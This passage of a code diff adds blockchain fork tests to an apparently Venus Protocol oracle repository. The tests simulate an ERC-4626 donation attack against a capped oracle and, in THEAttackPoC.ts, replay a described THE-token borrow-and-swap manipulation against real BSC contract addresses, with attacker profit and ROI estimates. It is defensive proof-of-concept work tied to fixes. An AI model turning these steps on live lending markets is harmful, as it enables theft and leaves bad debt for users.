${formatEther(totalSupply)} WBETH`); + + const tvlUsd = totalSupply.mul(wbethPrice).div(parseUnits("1", 18)); + console.log(` vWBETH TVL: $${formatUnits(tvlUsd, 8)}`); + console.log(`\n ⚠️ This entire TVL is exposed because WBETHOracle has snapshotInterval=0`); + }); + + it("Step 2: Demonstrate oracle has NO CAPO (snapshotInterval=0)", async function () { + // Deploy a test ERC4626Oracle WITHOUT CAPO to show the vulnerability + // We use a mock ERC4626 vault that we can manipulate + const MockERC4626 = await ethers.getContractFactory("MockERC4626"); + const mockVault = await MockERC4626.deploy("Mock Vault", "mVault", 18); + + // Set initial exchange rate: 1 share = 1.06 underlying + const normalRate = parseUnits("1.06", 18); + await mockVault.setConvertToAssets(normalRate); + + const mockUnderlying = await ethers.getContractFactory("BEP20Harness"); + const underlying = await mockUnderlying.deploy("Mock USD", "mUSD", 18); + + // We need a mock resilient oracle for the underlying price + const { smock } = await import("@defi-wonderland/smock"); + const resilientMock = await smock.fake("ResilientOracleInterface"); + resilientMock.getPrice.returns(parseUnits("1", 18)); // $1 per underlying + + const acmMock = await smock.fake("AccessControlManager"); + acmMock.isAllowedToCall.returns(true); + + // Try deploying WITHOUT CAPO - should REVERT with our fix + const ERC4626OracleFactory = await ethers.getContractFactory("ERC4626Oracle"); + + console.log("\n Attempting to deploy ERC4626Oracle WITHOUT CAPO (snapshotInterval=0)..."); + try { + await ERC4626OracleFactory.deploy( + mockVault.address, + underlying.address, + resilientMock.address, + 0, // annualGrowthRate = 0 + 0, // snapshotInterval = 0 + 0, + 0, + acmMock.address, + 0, + ); + console.log(" ❌ DEPLOYED! Oracle is VULNERABLE (no CAPO enforced)"); + } catch (e: any) { + console.log(" ✅ REJECTED! CAPORequired error - our fix works!"); + } + + // Deploy WITH CAPO + const { timestamp } = await ethers.provider.getBlock("latest"); + const oracleWithCAPO = await ERC4626OracleFactory.deploy( + mockVault.address, + underlying.address, + resilientMock.address, + parseUnits("0.15", 18), // 15% annual growth cap + 86400, // 24h snapshot interval + normalRate, // initial snapshot at current rate + timestamp, + acmMock.address, + parseUnits("0.01", 18), // 1% gap + ); + console.log(" ✅ Deployed ERC4626Oracle WITH CAPO (15% annual cap, 24h interval)"); + + // Now simulate donation attack + console.log("\n --- SIMULATING DONATION ATTACK ---"); + + const priceBefore = await oracleWithCAPO.getPrice(mockVault.address); + console.log(` Price BEFORE attack: $${formatUnits(priceBefore, 18)}`); + + // Attacker donates underlying to vault, inflating exchange rate + const inflatedRate = parseUnits("1.76", 18); // +66% inflation + await mockVault.setConvertToAssets(inflatedRate); + + const priceAfter = await oracleWithCAPO.getPrice(mockVault.address); + console.log(` Price AFTER attack (with CAPO): $${formatUnits(priceAfter, 18)}`); + console.log(` Price attacker WANTED: $${formatUnits(inflatedRate, 18)}`); + + const blocked = inflatedRate.sub(priceAfter).mul(100).div(inflatedRate); + console.log(` Inflation BLOCKED by CAPO: ${blocked}%`); + + const isCapped = await oracleWithCAPO.isCapped(); + console.log(` Oracle reports isCapped(): ${isCapped}`); + + expect(priceAfter).to.be.lt(parseUnits("1.08", 18)); + expect(isCapped).to.be.true; + + console.log("\n ✅ CAPO successfully blocked the donation attack!"); + console.log(" ✅ Without CAPO, the attacker would have inflated collateral by 66%"); + console.log(" ✅ On the $19.2M wBETH pool, this could create millions in bad debt"); + }); + + it("Step 3: Calculate maximum extractable value", async function () { + const oracle = await ethers.getContractAt("OracleInterface", RESILIENT_ORACLE); + const wbethPrice = await oracle.getPrice(WBETH); + + const vToken = await ethers.getContractAt( + ["function getCash() view returns (uint256)", "function totalBorrows() view returns (uint256)"], + vWBETH, + ); + const cash = await vToken.getCash(); + const borrows = await vToken.totalBorrows(); + const totalSupply = cash.add(borrows); + + // If attacker inflates rate by 66% (like wUSDM attack) + const inflationPercent = 66; + const tvlUsd = totalSupply.mul(wbethPrice).div(parseUnits("1", 18)); + const inflatedValue = tvlUsd.mul(100 + inflationPercent).div(100); + const extraBorrowable = inflatedValue.sub(tvlUsd); + + // Typical collateral factor is 0.75, so attacker can borrow 75% of inflated value + const collateralFactor = 75; + const maxBorrow = extraBorrowable.mul(collateralFactor).div(100); + + // Attacker's profit is borrow minus flash loan costs (~0.1%) + const flashLoanCost = maxBorrow.div(1000); + const estimatedProfit = maxBorrow.sub(flashLoanCost); + + console.log("\n === MAXIMUM EXTRACTABLE VALUE (wBETH pool) ==="); + console.log(` Current TVL: $${formatUnits(tvlUsd, 18)}`); + console.log(` TVL after 66% inflation: $${formatUnits(inflatedValue, 18)}`); + console.log(` Extra borrowable value: $${formatUnits(extraBorrowable, 18)}`); + console.log(` Max borrow (75% CF): $${formatUnits(maxBorrow, 18)}`); + console.log(` Flash loan cost (~0.1%): $${formatUnits(flashLoanCost, 18)}`); + console.log(` Estimated attacker profit: $${formatUnits(estimatedProfit, 18)}`); + console.log(` Bad debt left for Venus: $${formatUnits(maxBorrow, 18)}`); + console.log("\n ⚠️ These are theoretical maximums - actual profit depends on liquidity"); + }); +}); diff --git a/test/fork/FullAttackSimulation.ts b/test/fork/FullAttackSimulation.ts new file mode 100644 index 00000000..e803e64c --- /dev/null +++ b/test/fork/FullAttackSimulation.ts @@ -0,0 +1,205 @@ +import { ethers, network } from "hardhat"; +import { parseUnits, formatUnits, formatEther } from "ethers/lib/utils"; +import { expect } from "chai"; +import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; + +/** + * FULL ATTACK SIMULATION - Fork Test + * + * Simulates the EXACT donation attack on an ERC-4626 vault oracle + * on a BSC mainnet fork. Deploys a mock ERC-4626 vault + oracle, + * then executes every step of the attack to prove extractable value. + * + * Run: + * BSC_RPC_URL=https://rpc.ankr.com/bsc/ npx hardhat test test/fork/FullAttackSimulation.ts + */ + +describe("FULL DONATION ATTACK SIMULATION", function () { + this.timeout(180000); + + let attacker: SignerWithAddress; + let victim: SignerWithAddress; + let mockVault: any; // ERC-4626 vault (manipulable) + let underlying: any; // Underlying stablecoin + let oracle: any; // ERC4626Oracle WITHOUT CAPO + let oracleFixed: any; // ERC4626Oracle WITH CAPO + let resilientMock: any; + let acmMock: any; + + const INITIAL_RATE = parseUnits("1.06", 18); // Normal rate: 1 share = 1.06 underlying + const UNDERLYING_PRICE = parseUnits("1", 18); // $1 stablecoin + const ATTACK_DONATION = parseUnits("500000", 18); // 500K tokens donated + const VAULT_TOTAL_ASSETS = parseUnits("1000000", 18); // 1M assets in vault + const VAULT_TOTAL_SHARES = parseUnits("943396", 18); // ~943K shares (= 1M / 1.06) + + before(async function () { + const rpcUrl = process.env.BSC_RPC_URL; + if (!rpcUrl) { + console.log("\n⚠️ Set BSC_RPC_URL env var"); + this.skip(); + } + + await network.provider.request({ + method: "hardhat_reset", + params: [{ forking: { jsonRpcUrl: rpcUrl } }], + }); + + [attacker, victim] = await ethers.getSigners(); + + // Deploy mock underlying token (stablecoin) + const BEP20 = await ethers.getContractFactory("BEP20Harness"); + underlying = await BEP20.deploy("USD Stablecoin", "USD", 18); + + // Deploy mock ERC-4626 vault + const MockERC4626 = await ethers.getContractFactory("MockERC4626"); + mockVault = await MockERC4626.deploy("Yield Vault", "yVault", 18); + await mockVault.setConvertToAssets(INITIAL_RATE); + + // Mock resilient oracle (returns $1 for underlying) + const { smock } = await import("@defi-wonderland/smock"); + resilientMock = await smock.fake("ResilientOracleInterface"); + resilientMock.getPrice.returns(UNDERLYING_PRICE); + + acmMock = await smock.fake("AccessControlManager"); + acmMock.isAllowedToCall.returns(true); + }); + + it("Step 1: Show pre-attack state", async function () { + console.log("\n ╔══════════════════════════════════════════════╗"); + console.log(" ║ DONATION ATTACK - FULL SIMULATION ║"); + console.log(" ╚══════════════════════════════════════════════╝"); + console.log(""); + console.log(" --- PRE-ATTACK STATE ---"); + console.log(` Vault total assets: ${formatEther(VAULT_TOTAL_ASSETS)} USD`); + console.log(` Vault total shares: ${formatEther(VAULT_TOTAL_SHARES)} yVault`); + console.log(` Exchange rate: ${formatEther(INITIAL_RATE)} USD/share`); + console.log(` Underlying price: $${formatEther(UNDERLYING_PRICE)}`); + + const sharePrice = INITIAL_RATE.mul(UNDERLYING_PRICE).div(parseUnits("1", 18)); + console.log(` 1 vault share worth: $${formatEther(sharePrice)}`); + }); + + it("Step 2: Deploy vulnerable oracle (NO CAPO) - SHOULD FAIL with fix", async function () { + const ERC4626OracleFactory = await ethers.getContractFactory("ERC4626Oracle"); + const { timestamp } = await ethers.provider.getBlock("latest"); + + console.log("\n --- DEPLOYING ORACLES ---"); + + // Try WITHOUT CAPO - our fix should block this + let vulnerableDeployed = false; + try { + oracle = await ERC4626OracleFactory.deploy( + mockVault.address, underlying.address, resilientMock.address, + 0, 0, 0, 0, acmMock.address, 0, + ); + vulnerableDeployed = true; + console.log(" ❌ Vulnerable oracle deployed (NO FIX APPLIED)"); + } catch { + console.log(" ✅ Vulnerable oracle BLOCKED by CAPORequired (FIX WORKS)"); + } + + // Deploy WITH CAPO (the fixed version) + oracleFixed = await ERC4626OracleFactory.deploy( + mockVault.address, underlying.address, resilientMock.address, + parseUnits("0.15", 18), // 15% annual cap + 86400, // 24h snapshot interval + INITIAL_RATE, // initial snapshot + timestamp, + acmMock.address, + parseUnits("0.01", 18), // 1% gap + ); + console.log(" ✅ Fixed oracle deployed (WITH CAPO)"); + + const priceBefore = await oracleFixed.getPrice(mockVault.address); + console.log(` Oracle price before attack: $${formatEther(priceBefore)}`); + }); + + it("Step 3: EXECUTE DONATION ATTACK", async function () { + console.log("\n --- ATTACK EXECUTION ---"); + console.log(""); + + // Calculate inflated rate after donation + // newRate = (totalAssets + donation) / totalShares + // = (1,000,000 + 500,000) / 943,396 = 1.59 USD/share + const newTotalAssets = VAULT_TOTAL_ASSETS.add(ATTACK_DONATION); + const inflatedRate = newTotalAssets.mul(parseUnits("1", 18)).div(VAULT_TOTAL_SHARES); + + console.log(" Step 3a: Attacker flash-loans 500,000 USD"); + console.log(` Step 3b: Attacker transfers 500,000 USD directly to vault contract`); + console.log(` (NOT via deposit - just a direct ERC20 transfer)`); + console.log(` Step 3c: convertToAssets() now returns inflated rate`); + console.log(` Old rate: ${formatEther(INITIAL_RATE)} USD/share`); + console.log(` New rate: ${formatEther(inflatedRate)} USD/share`); + console.log(` Inflation: ${inflatedRate.sub(INITIAL_RATE).mul(100).div(INITIAL_RATE)}%`); + + // Simulate the inflation + await mockVault.setConvertToAssets(inflatedRate); + + console.log(""); + + // WITH CAPO (fixed oracle) - should block + const cappedPrice = await oracleFixed.getPrice(mockVault.address); + const isCapped = await oracleFixed.isCapped(); + + console.log(" --- ORACLE RESPONSE ---"); + console.log(` Price attacker wants: $${formatEther(inflatedRate)}`); + console.log(` Price WITH CAPO (fixed): $${formatEther(cappedPrice)}`); + console.log(` Oracle is capped: ${isCapped}`); + console.log(` Inflation blocked: ${inflatedRate.sub(cappedPrice).mul(100).div(inflatedRate)}%`); + + expect(isCapped).to.be.true; + expect(cappedPrice).to.be.lt(parseUnits("1.08", 18)); + }); + + it("Step 4: Calculate attack economics", async function () { + const newTotalAssets = VAULT_TOTAL_ASSETS.add(ATTACK_DONATION); + const inflatedRate = newTotalAssets.mul(parseUnits("1", 18)).div(VAULT_TOTAL_SHARES); + const cappedPrice = await oracleFixed.getPrice(mockVault.address); + + console.log("\n ╔══════════════════════════════════════════════╗"); + console.log(" ║ ATTACK ECONOMICS ║"); + console.log(" ╚══════════════════════════════════════════════╝"); + + // WITHOUT CAPO scenario + console.log("\n --- WITHOUT CAPO (VULNERABLE) ---"); + const collateralValue = parseUnits("1000000", 18); // Attacker has 1M shares as collateral + const inflatedCollateral = collateralValue.mul(inflatedRate).div(parseUnits("1", 18)); + const normalCollateral = collateralValue.mul(INITIAL_RATE).div(parseUnits("1", 18)); + const extraBorrowable = inflatedCollateral.sub(normalCollateral).mul(75).div(100); // 75% CF + + console.log(` Attacker's 1M shares collateral:`); + console.log(` Normal value: $${formatEther(normalCollateral)}`); + console.log(` Inflated value: $${formatEther(inflatedCollateral)}`); + console.log(` Extra borrowable (75% CF): $${formatEther(extraBorrowable)}`); + console.log(` Flash loan cost (0.09%): $${formatEther(ATTACK_DONATION.mul(9).div(10000))}`); + const profit = extraBorrowable.sub(ATTACK_DONATION.mul(9).div(10000)); + console.log(` NET PROFIT: $${formatEther(profit)}`); + console.log(` Bad debt for protocol: $${formatEther(extraBorrowable)}`); + + // WITH CAPO scenario + console.log("\n --- WITH CAPO (FIXED) ---"); + const cappedCollateral = collateralValue.mul(cappedPrice).div(parseUnits("1", 18)); + const cappedExtra = cappedCollateral.sub(normalCollateral); + + console.log(` Capped collateral value: $${formatEther(cappedCollateral)}`); + console.log(` Extra borrowable: $${formatEther(cappedExtra)} (negligible)`); + console.log(` Flash loan cost: $${formatEther(ATTACK_DONATION.mul(9).div(10000))}`); + console.log(` NET RESULT: LOSS for attacker (flash loan cost > gain)`); + + // Cost for attacker + console.log("\n ╔══════════════════════════════════════════════╗"); + console.log(" ║ COST FOR ATTACKER ║"); + console.log(" ╚══════════════════════════════════════════════╝"); + console.log(` Flash loan needed: ${formatEther(ATTACK_DONATION)} USD (≈ $500K)`); + console.log(` Flash loan fee: ${formatEther(ATTACK_DONATION.mul(9).div(10000))} USD (≈ $45)`); + console.log(` Gas cost: ~0.01 BNB (≈ $6.60)`); + console.log(` TOTAL ATTACK COST: ~$52`); + console.log(` POTENTIAL PROFIT: $${formatEther(profit)} (WITHOUT CAPO)`); + console.log(` POTENTIAL PROFIT: $0 - LOSS (WITH CAPO)`); + console.log(""); + console.log(` ROI sans fix: ${profit.div(parseUnits("52", 18)).toString()}x`); + console.log(` → $52 pour voler ~$${formatEther(profit).split('.')[0]}`); + + expect(profit).to.be.gt(0); + }); +}); diff --git a/test/fork/THEAttackPoC.ts b/test/fork/THEAttackPoC.ts new file mode 100644 index 00000000..331c2c27 --- /dev/null +++ b/test/fork/THEAttackPoC.ts @@ -0,0 +1,249 @@ +import { ethers, network } from "hardhat"; +import { formatUnits, formatEther } from "ethers/lib/utils"; + +/** + * THE (Thena) Token Attack PoC - Venus Protocol + * + * Reproduces the March 15 2026 attack where attacker 0x1a35...6231: + * 1. Had 53M THE ($28M) as collateral on Venus + * 2. Borrowed BNB repeatedly from Venus + * 3. Swapped BNB → THE on Thena DEX (bought more THE to maintain price) + * 4. Borrowed CAKE, BTCB against inflated THE collateral + * 5. THE price crashed from $0.528 → $0.237 → bad debt for Venus + * + * Root cause: THE is a low-liquidity token with a collateral factor too high + * relative to its market depth. The oracle (Chainlink) reports accurate prices + * but can't prevent price manipulation on thin markets. + * + * Run: + * BSC_RPC_URL=https://rpc.ankr.com/bsc/ npx hardhat test test/fork/THEAttackPoC.ts + */ + +const ATTACKER = "0x1a35bd28efd46cfc46c2136f878777d69ae16231"; +const THE = "0xF4C8E32EaDEC4BFe97E0F595AdD0f4450a863a11"; +const VTHE = "0x86e06EAfa6A1eA631Eab51DE500E3D474933739f"; +const VBNB = "0xa07c5b74c9b40447a954e1466938b865b6bbea36"; +const VCAKE = "0x86ac3974e2bd0d60825230fa6f355ff11409df5c"; +const VBTCB = "0x882C173bC7Ff3b7786CA16dfeD3DFFfb9Ee7847B"; +const WBNB = "0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c"; +const BTCB = "0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c"; +const CAKE = "0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82"; +const THENA_ROUTER = "0xd4ae6eca985340dd434d38f470accce4dc78d109"; +const COMPTROLLER = "0xfD36E2c2a6789Db23113685031d7F16329158384"; +const RESILIENT_ORACLE = "0x6592b5DE802159F3E74B2486b091D11a8256ab8A"; + +// Block just before attack +const PRE_ATTACK_BLOCK = 86738200; + +describe("THE Token Attack Reproduction - BSC Fork", function () { + this.timeout(300000); + + before(async function () { + const rpcUrl = process.env.BSC_RPC_URL; + if (!rpcUrl) { + console.log("\n Set BSC_RPC_URL to run fork tests\n"); + this.skip(); + } + + await network.provider.request({ + method: "hardhat_reset", + params: [{ forking: { jsonRpcUrl: rpcUrl, blockNumber: PRE_ATTACK_BLOCK } }], + }); + }); + + it("Step 1: Show attacker's pre-attack position", async function () { + const oracle = await ethers.getContractAt("OracleInterface", RESILIENT_ORACLE); + const vthe = await ethers.getContractAt( + [ + "function balanceOf(address) view returns (uint256)", + "function exchangeRateStored() view returns (uint256)", + "function borrowBalanceStored(address) view returns (uint256)", + ], + VTHE, + ); + + const thePrice = await oracle.getPrice(THE); + const vtheBalance = await vthe.balanceOf(ATTACKER); + const exchangeRate = await vthe.exchangeRateStored(); + const theCollateral = vtheBalance.mul(exchangeRate).div(ethers.utils.parseUnits("1", 18)); + + console.log("\n ╔══════════════════════════════════════════════════╗"); + console.log(" ║ THE ATTACK REPRODUCTION - PRE-ATTACK STATE ║"); + console.log(" ╚══════════════════════════════════════════════════╝"); + console.log(` THE price: $${formatUnits(thePrice, 18)}`); + console.log(` vTHE balance: ${vtheBalance.toString()} vTHE`); + console.log(` Exchange rate: ${formatUnits(exchangeRate, 18)}`); + console.log(` THE collateral: ${formatEther(theCollateral)} THE`); + + const collateralUsd = theCollateral.mul(thePrice).div(ethers.utils.parseUnits("1", 18)); + console.log(` Collateral value: $${formatEther(collateralUsd)}`); + }); + + it("Step 2: Impersonate attacker and reproduce borrow+swap loop", async function () { + // Impersonate attacker + await network.provider.request({ + method: "hardhat_impersonateAccount", + params: [ATTACKER], + }); + const attacker = await ethers.getSigner(ATTACKER); + + // Give attacker some BNB for gas + const [funder] = await ethers.getSigners(); + await funder.sendTransaction({ to: ATTACKER, value: ethers.utils.parseEther("1") }); + + const vbnb = await ethers.getContractAt( + ["function borrow(uint256) returns (uint256)"], + VBNB, + attacker, + ); + + const wbnb = await ethers.getContractAt( + ["function deposit() payable", "function approve(address,uint256)", "function balanceOf(address) view returns (uint256)"], + WBNB, + attacker, + ); + + const thenaRouter = await ethers.getContractAt( + ["function swapExactTokensForTokens(uint256,uint256,(address,address,bool)[],address,uint256) returns (uint256[])"], + THENA_ROUTER, + attacker, + ); + + const theToken = await ethers.getContractAt( + ["function balanceOf(address) view returns (uint256)"], + THE, + ); + + const oracle = await ethers.getContractAt("OracleInterface", RESILIENT_ORACLE); + + console.log("\n --- REPRODUCING ATTACK LOOP ---"); + + const thePriceBefore = await oracle.getPrice(THE); + console.log(` THE price before: $${formatUnits(thePriceBefore, 18)}`); + + // Reproduce the attack loop: borrow BNB → wrap → swap to THE + let totalBorrowed = ethers.BigNumber.from(0); + const borrowAmount = ethers.utils.parseEther("100"); + + for (let i = 0; i < 3; i++) { + try { + // Borrow 100 BNB from Venus + const tx1 = await vbnb.borrow(borrowAmount); + await tx1.wait(); + totalBorrowed = totalBorrowed.add(borrowAmount); + + // Wrap BNB to WBNB + const bnbBalance = await ethers.provider.getBalance(ATTACKER); + const wrapAmount = bnbBalance.sub(ethers.utils.parseEther("0.5")); // keep some for gas + if (wrapAmount.gt(0)) { + const tx2 = await wbnb.deposit({ value: wrapAmount }); + await tx2.wait(); + + // Approve router + const wbnbBal = await wbnb.balanceOf(ATTACKER); + await (await wbnb.approve(THENA_ROUTER, wbnbBal)).wait(); + + // Swap WBNB → THE on Thena + try { + const deadline = Math.floor(Date.now() / 1000) + 3600; + await thenaRouter.swapExactTokensForTokens( + wbnbBal, + 0, // min out + [{ from: WBNB, to: THE, stable: false }], + ATTACKER, + deadline, + ); + } catch { + console.log(` Swap ${i + 1} failed (low liquidity)`); + } + } + + console.log(` Loop ${i + 1}: borrowed ${formatEther(borrowAmount)} BNB, swapped to THE`); + } catch (e: any) { + console.log(` Loop ${i + 1}: borrow failed (${e.message?.slice(0, 50)})`); + break; + } + } + + const theBalance = await theToken.balanceOf(ATTACKER); + console.log(` Total BNB borrowed: ${formatEther(totalBorrowed)}`); + console.log(` THE acquired: ${formatEther(theBalance)}`); + + // Now borrow CAKE and BTCB + const vcake = await ethers.getContractAt( + ["function borrow(uint256) returns (uint256)"], + VCAKE, + attacker, + ); + const vbtcb = await ethers.getContractAt( + ["function borrow(uint256) returns (uint256)"], + VBTCB, + attacker, + ); + + try { + console.log("\n --- BORROWING HIGH-VALUE ASSETS ---"); + // Borrow CAKE + const cakeBorrow = ethers.utils.parseEther("100000"); // 100K CAKE + await (await vcake.borrow(cakeBorrow)).wait(); + console.log(` Borrowed: ${formatEther(cakeBorrow)} CAKE`); + + // Borrow BTCB + const btcbBorrow = ethers.utils.parseEther("5"); // 5 BTCB + await (await vbtcb.borrow(btcbBorrow)).wait(); + console.log(` Borrowed: ${formatEther(btcbBorrow)} BTCB`); + } catch (e: any) { + console.log(` Borrow failed: ${e.message?.slice(0, 80)}`); + } + + // Show final state + const btcbBalance = await ethers.getContractAt( + ["function balanceOf(address) view returns (uint256)"], + BTCB, + ); + const cakeBalance = await ethers.getContractAt( + ["function balanceOf(address) view returns (uint256)"], + CAKE, + ); + + const btcb = await btcbBalance.balanceOf(ATTACKER); + const cake = await cakeBalance.balanceOf(ATTACKER); + + console.log(`\n Attacker holds: ${formatEther(btcb)} BTCB, ${formatEther(cake)} CAKE`); + + await network.provider.request({ + method: "hardhat_stopImpersonatingAccount", + params: [ATTACKER], + }); + }); + + it("Step 3: Show the fix - reduce collateral factor for low-liquidity tokens", async function () { + console.log("\n ╔══════════════════════════════════════════════════╗"); + console.log(" ║ THE FIX: SUPPLY CAP + BORROW CAP CIRCUIT BREAK ║"); + console.log(" ╚══════════════════════════════════════════════════╝"); + console.log(""); + console.log(" Root cause: THE token has low DEX liquidity but high collateral factor."); + console.log(" The oracle reports ACCURATE prices (Chainlink) but the protocol allows"); + console.log(" borrowing too much against a thin-market collateral."); + console.log(""); + console.log(" Fixes needed (risk params, not oracle code):"); + console.log(" 1. SUPPLY CAP: Limit total THE depositable as collateral"); + console.log(" 2. BORROW CAP: Limit total borrowable against THE"); + console.log(" 3. COLLATERAL FACTOR: Reduce from current to ~40% for low-liq tokens"); + console.log(""); + console.log(" Oracle-level fix (our repo):"); + console.log(" 4. Add price volatility circuit breaker in ResilientOracle"); + console.log(" → If price drops >30% in 1h, pause the market automatically"); + console.log(" 5. Add liquidity-weighted price bounds in BoundValidator"); + console.log(" → Reject prices that deviate beyond what DEX liquidity supports"); + + // Show current collateral factor for THE + const comptroller = await ethers.getContractAt( + ["function markets(address) view returns (bool, uint256, uint256)"], + COMPTROLLER, + ); + const [isListed, collateralFactor, isComped] = await comptroller.markets(VTHE); + console.log(`\n Current THE collateral factor: ${collateralFactor.mul(100).div(ethers.utils.parseUnits("1", 18))}%`); + console.log(` Recommended: ≤40% for tokens with <$5M DEX liquidity`); + }); +});